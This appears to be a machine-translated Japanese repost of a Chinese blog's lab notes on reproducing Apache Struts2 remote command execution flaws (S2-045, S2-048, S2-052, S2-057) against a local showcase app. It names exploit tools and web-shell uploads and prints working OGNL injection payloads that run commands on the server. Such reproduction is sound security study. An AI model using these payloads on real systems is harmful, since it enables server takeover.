リモートコマンドの実行と逆シリアル化——Strutsフレームワークのコマンド実行の脆弱性の回復

Strutsフレームワークの一連のコマンド実行の脆弱性の復元

(ポートデフォルト8080)

歴史的な抜け穴:

https://www.seebug.org/search/?keywords=struts2
s2初期の包括的な利用ツール(10〜17年の高リスクの脆弱性)
K8 struts2 EXP
ターゲットに入力、コマンドを実行、ファイルのアップロード(ポニー)、ポニーの接続が
表示されます.actionまたは.do
はstructs2フレームワークを使用できます

s2-045脆弱性の復元(K8で十分)

http://192.168.0.127:8080/struts2-showcase/showcase.action

s2-48攻撃プロセスの復元

struts2 S2-048リモートコード実行の脆弱性exp
C:> struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action
struts048.py
struts.2.3.x version by "ipconfig" リモートコマンド攻撃を実装するために、showcaseプラグインで信頼できない入力を構築する

S2-052攻撃プロセスの復元(バージョンStruts 2.5-2.5.12の場合)

Struts S2-052エクスプロイト
https://www.cnblogs.com/Hi-blog/p/7510987.html
search struts2のMeterpreter(CVE-2017-9805)

S2-057脆弱性の再発(パラメーターalwaysSelectFullNamespaceをtrueに設定する必要があります)

Apache struts2名前空間のリモートコマンド実行-CVE-2018-11776(S2-057)の脆弱性の再発
http://192.168.0.127:8080/struts2-showcase//actionChain1.action

参照記事:https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html

注:
最初にstruts.xml構成ファイルを追加します<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
2番目に構成ファイルstruts-actionchaining.xmlを変更します名前空間属性を削除するか、ワイルドカードを使用します*
最後に、type = "chain"をtype = "redirectAction"(jump)に変更し
ます。パスを制御可能な
攻撃ペイロードに変え
ますhttp : //192.168.0.127 : 8080 / struts2-showcase / ${(1+1)}/actionChain1.action

$ {#_ memberAccess = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS、@ java.lang.Runtime @ getRuntime()。exec( 'calc.exe')}(リモートサーバーの計算機を実行)

$ {
(#dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS)。(#ct =#request ['struts.valueStack']。context)。(#cr =#ct ['com.opensymphony.xwork2.ActionContext.container'] )。(#ou =#cr.getInstance(@ com.opensymphony.xwork2.ognl.OgnlUtil @ class))(#ou.getExcludedPackageNames()。clear())。(#ou.getExcludedClasses()。clear() )。(#ct.setMemberAccess(#dm))。(#a = @ java.lang.Runtime @ getRuntime()。exec( 'id'))(@ org.apache.commons.io.IOUtils@toString( #a.getInputStream()))}

117のオリジナル記事を公開 賞賛11 訪問6460

おすすめ

転載: blog.csdn.net/weixin_43079958/article/details/105500489